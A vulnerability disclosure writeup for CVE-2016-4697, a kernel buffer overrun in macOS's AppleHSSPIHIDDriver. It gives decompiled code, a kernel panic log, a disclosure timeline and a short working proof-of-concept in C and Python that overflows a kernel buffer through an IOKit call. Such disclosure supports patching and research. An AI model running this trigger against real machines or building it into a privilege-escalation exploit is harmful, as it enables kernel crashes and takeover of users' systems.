This is the writeup for CVE-2016-4697 which I reported and get credit from Apple at https://support.apple.com/en-us/HT207170
Buffer overrun in AppleHSSPIHIDDriver
An buffer overrun exists in AppleHSSPIHIDDriver _setReportGated, in versions starting from at least 10.11.2 to 10.11.6. An application may be able to execute arbitrary code with kernel privileges with this privilege.
The vulnerable code disassembly is as follows:
_setReportGated
descLen = desc->vtbl->__ZNK18IOMemoryDescriptor9getLengthEv(desc);
if ( v28 == 81 )
{
v28 = 81;
if ( (unsigned __int8)(*(__int64 (__cdecl **)(__int64, AppleHSSPIHIDDriver *, __int64))(*(_QWORD *)this->field_D0
+ 2176LL))(
this->field_D0,
v10,
v30) )
v28 = 32;
}
desc->vtbl->__ZN18IOMemoryDescriptor9readBytesEyPvy(
desc,
0LL,
(void *)(this->incomingReportBytes + 8),
(unsigned __int16)descLen);
v32 = (unsigned __int16)descLen;
v51 = (unsigned __int8)v51;
HSSPIFillHIDPacketHeader(
v28 | ((unsigned __int64)(unsigned __int16)descLen << 32) | (descLen << 48) | ((unsigned __int64)(unsigned __int8)v51 << 24) | (unsigned __int16)(v29 << 8),
this->incomingReportBytes);
v33 = crc16_compute(this->incomingReportBytes, (unsigned __int16)descLen + 8LL, 0LL);
v34 = this->incomingReportBytes;
We can see the incoming buffer is directly copied into incomingReportBytes
using readBytes
, no size check is performed.
Note that the function readBytes
means reading bytes from incoming memory descriptor to target bufffer, it’s actually a write operation.
However the incomingReportBytes
is allocated in service init function
if ( this->buffermd->vtbl->__ZN25IOGeneralMemoryDescriptor7prepareEj((IOGeneralMemoryDescriptor *)this->buffermd, 0LL) )
{
v22 = this->vtbl->__ZNK15IORegistryEntry7getNameEPK15IORegistryPlane((IORegistryEntry *)this, 0LL);
v23 = "Error: %s::%s _bufferMD->prepare returned 0x%08x\n";
LABEL_22:
IOLog(v23, v22, "start");
goto LABEL_15;
}
v24 = this->buffermd->vtbl->__ZN24IOBufferMemoryDescriptor14getBytesNoCopyEv(this->buffermd);
memset(v24, 0, 0x1000uLL);
this->incomingReportBytes = (__int64)this->buffermd->vtbl->__ZN24IOBufferMemoryDescriptor14getBytesNoCopyEv(this->buffermd);
this->someOtherBufferPtr = (__int64 (__fastcall *)(IOBufferMemoryDescriptor *, _QWORD))this->buffermd->vtbl->__ZN24IOBufferMemoryDescriptor14getBytesNoCopyEv(
this->buffermd,
0LL)
+ 1024;
We can see the buffer is of size 0x1000. The setReportGated
function doesn’t perform check on incoming buffer size so we can pass a buffer of large size to overrun incomingReportBytes
.
Attached the panic log
*** Panic Report ***
panic(cpu 3 caller 0xffffff80057ce40a): Kernel trap at 0xffffff7f87cbb3cb, type 14=page fault, registers:
CR0: 0x000000008001003b, CR2: 0xffffff810e94f000, CR3: 0x000000023c8d90c7, CR4: 0x00000000001627e0
RAX: 0xffffff7f87cc1cf0, RBX: 0xffffff810e94f000, RCX: 0x0000000000000069, RDX: 0x0000000000006913
RSP: 0xffffff9134393920, RBP: 0xffffff9134393930, RSI: 0x0000000000000000, RDI: 0xffffff810e94d000
R8: 0x0000000000002800, R9: 0x0000000000000040, R10: 0x0000000000000000, R11: 0x00000f51e0bf1dac
R12: 0x0000000000000050, R13: 0xffffff802270c800, R14: 0x0000000000000808, R15: 0x2800000000000000
RFL: 0x0000000000010202, RIP: 0xffffff7f87cbb3cb, CS: 0x0000000000000008, SS: 0x0000000000000010
Fault CR2: 0xffffff810e94f000, Error code: 0x0000000000000000, Fault CPU: 0x3, PL: 0
Backtrace (CPU 3), Frame : Return Address
0xffffff91343935b0 : 0xffffff80056dab12 mach_kernel : _panic + 0xe2
0xffffff9134393630 : 0xffffff80057ce40a mach_kernel : _kernel_trap + 0x91a
0xffffff9134393810 : 0xffffff80057ec273 mach_kernel : _return_from_trap + 0xe3
0xffffff9134393830 : 0xffffff7f87cbb3cb com.apple.driver.AppleHSSPISupport : _crc16_compute + 0x5e
0xffffff9134393930 : 0xffffff7f87cd1a7c com.apple.driver.AppleHSSPIHIDDriver : __ZN19AppleHSSPIHIDDriver15_setReportGatedEP18IOMemoryDescriptor15IOHIDReportTypej + 0x408
0xffffff91343939f0 : 0xffffff8005cb5958 mach_kernel : __ZN13IOCommandGate9runActionEPFiP8OSObjectPvS2_S2_S2_ES2_S2_S2_S2_ + 0x1a8
0xffffff9134393a60 : 0xffffff7f87cd160b com.apple.driver.AppleHSSPIHIDDriver : __ZN19AppleHSSPIHIDDriver9setReportEP18IOMemoryDescriptor15IOHIDReportTypej + 0x5f
0xffffff9134393ab0 : 0xffffff7f86548a1f com.apple.iokit.IOHIDFamily : __ZN18IOHIDLibUserClient9setReportEP18IOMemoryDescriptor15IOHIDReportTypejjP15IOHIDCompletion + 0x263
0xffffff9134393b30 : 0xffffff8005cb5958 mach_kernel : __ZN13IOCommandGate9runActionEPFiP8OSObjectPvS2_S2_S2_ES2_S2_S2_S2_ + 0x1a8
0xffffff9134393ba0 : 0xffffff7f86547556 com.apple.iokit.IOHIDFamily : __ZN18IOHIDLibUserClient14externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatchP8OSObjectPv + 0x64
0xffffff9134393be0 : 0xffffff8005cdf277 mach_kernel : _is_io_connect_method + 0x1e7
0xffffff9134393d20 : 0xffffff8005797cc0 mach_kernel : _iokit_server + 0x5bd0
0xffffff9134393e30 : 0xffffff80056df283 mach_kernel : _ipc_kobject_server + 0x103
0xffffff9134393e60 : 0xffffff80056c28b8 mach_kernel : _ipc_kmsg_send + 0xb8
0xffffff9134393ea0 : 0xffffff80056d2665 mach_kernel : _mach_msg_overwrite_trap + 0xc5
0xffffff9134393f10 : 0xffffff80057b8bda mach_kernel : _mach_call_munger64 + 0x19a
0xffffff9134393fb0 : 0xffffff80057eca96 mach_kernel : _hndl_mach_scall64 + 0x16
Kernel Extensions in backtrace:
com.apple.iokit.IOHIDFamily(2.0)[8D04EA14-CDE1-3B41-8571-153FF3F3F63B]@0xffffff7f86546000->0xffffff7f865bdfff
dependency: com.apple.driver.AppleFDEKeyStore(28.30)[C31A19C9-8174-3E35-B2CD-3B1B237C0220]@0xffffff7f8653b000
com.apple.driver.AppleHSSPISupport(43.0)[0932EE59-DCCE-34E9-AECA-28301C1BC40D]@0xffffff7f87cb5000->0xffffff7f87ccbfff
dependency: com.apple.driver.AppleIntelLpssSpiController(2.0.60)[EF86D225-24E1-3B90-BC2B-9894B27913FA]@0xffffff7f87aaa000
dependency: com.apple.iokit.IOACPIFamily(1.4)[5D7574C3-8E90-3873-BAEB-D979FC215A7D]@0xffffff7f865dc000
com.apple.driver.AppleHSSPIHIDDriver(43.0)[F5A0BBCD-7422-38EA-AAA7-218AC0FB5B33]@0xffffff7f87ccf000->0xffffff7f87cd7fff
dependency: com.apple.iokit.IOHIDFamily(2.0.0)[8D04EA14-CDE1-3B41-8571-153FF3F3F63B]@0xffffff7f86546000
dependency: com.apple.driver.AppleHSSPISupport(43)[0932EE59-DCCE-34E9-AECA-28301C1BC40D]@0xffffff7f87cb5000
The panic shows traces in crc_compute
because the memory allocated for descriptor (getBytesNoCopy) may not be adjacent, so out-of-bound sequential access may generate page fault.
If pages are adjacent (which can be archived by some fengshui i think), we can see in kdp that memory more than 0x2000 is overridden: the original address started at 0xffffff81150ee000, however 0xffffff81150f0708 are still overridden by 0x61, overflow 0x700 bytes.
POC
int main(int argc, const char * argv[]) {
io_iterator_t iterator;
IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("AppleHSSPIHIDDriver"), &iterator);
io_service_t svc = IOIteratorNext(iterator);
io_connect_t conn;
assert(KERN_SUCCESS == IOServiceOpen(svc, mach_task_self(), 0, &conn));
uint64_t inscalar[3] = {0};
size_t inscalarcnt = 3;
char inputstruct[10240] = {0};
memset(inputstruct, 'a', sizeof(inputstruct));
uint32_t outputcnt;
size_t outputStructCnt;
IOConnectCallMethod(conn, 13, inscalar, inscalarcnt, inputstruct, 10240, 0, 0, 0, 0);
}
If you write POC in KitLib it will become simpler:
import kitlib
h = kitlib.openSvc('AppleHSSPIHIDDriver', 0)
kitlib.callConnectMethod(h, 13, [0L]*3, 'a'*10240, 0, 0)
Disclose Timeline
- 2016-02 Initial Discovery
- 2016-06-14 Report to Vendor, issue confirmed
- 2016-09-20 Advisory Published